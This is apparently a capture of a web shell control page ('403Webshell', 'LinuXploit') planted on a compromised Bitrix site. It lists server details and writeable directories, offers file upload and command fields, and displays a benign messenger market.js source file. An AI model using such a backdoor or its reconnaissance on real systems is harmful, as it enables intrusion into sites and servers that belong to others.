403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/im/v2/lib/market/src/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/im/v2/lib/market/src/market.js
import { Store } from 'ui.vue3.vuex';
import { Runtime } from 'main.core';

import { Core } from 'im.v2.application.core';
import { Logger } from 'im.v2.lib.logger';

import { MarketService } from './classes/market-service';
import { AvailabilityManager } from './classes/availability-manager';

import type { ImModelMarketApplication } from 'im.v2.model';

type MarketApps = {
	items: ImModelMarketApplication[],
	links: {
		load: string
	}
}

export class MarketManager
{
	static #instance: MarketManager;

	#store: Store;
	#marketService: MarketService;
	#availabilityManager: AvailabilityManager;

	static getInstance(): MarketManager
	{
		if (!this.#instance)
		{
			this.#instance = new this();
		}

		return this.#instance;
	}

	static init()
	{
		MarketManager.getInstance();
	}

	constructor()
	{
		this.#store = Core.getStore();
		this.#marketService = new MarketService();
		this.#availabilityManager = new AvailabilityManager();

		const { marketApps } = Core.getApplicationData();
		Logger.warn('MarketManager: marketApps', marketApps);
		this.#init(marketApps);
	}

	getAvailablePlacementsByType(placementType: string, dialogId: string = ''): ImModelMarketApplication[]
	{
		const placements: ImModelMarketApplication[] = this.#store.getters['market/getByPlacement'](placementType);
		const dialog = this.#store.getters['chats/get'](dialogId);
		const dialogType = dialog ? dialog.type : '';

		return this.#availabilityManager.getAvailablePlacements(placements, dialogType);
	}

	loadPlacement(id: number, context: Object = {}): Promise
	{
		const placement = this.#store.getters['market/getById'](Number.parseInt(id, 10));

		return this.#marketService.openPlacement(placement, context);
	}

	unloadPlacement(placementId: string)
	{
		const appLayoutNew = Object.values(BX.rest.layoutList).filter((layout) => {
			return layout.params.placementId === placementId;
		});

		if (appLayoutNew.length > 0)
		{
			appLayoutNew.forEach((layout) => {
				layout.destroy();
			});
		}
	}

	static async openSlider(placement: ImModelMarketApplication, context: Object)
	{
		await Runtime.loadExtension('applayout');
		BX.rest.AppLayout.openApplication(placement.loadConfiguration.ID, context, placement.loadConfiguration);
	}

	static openMarketplace()
	{
		const marketplaceImPlacementCode = 'IM_CHAT';

		BX.SidePanel.Instance.open(`/market/?placement=${marketplaceImPlacementCode}`);
	}

	#init(marketApps: MarketApps)
	{
		if (!marketApps)
		{
			return;
		}

		void this.#store.dispatch('market/set', marketApps);
		this.#marketService.setLoadLink(marketApps.links.load);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit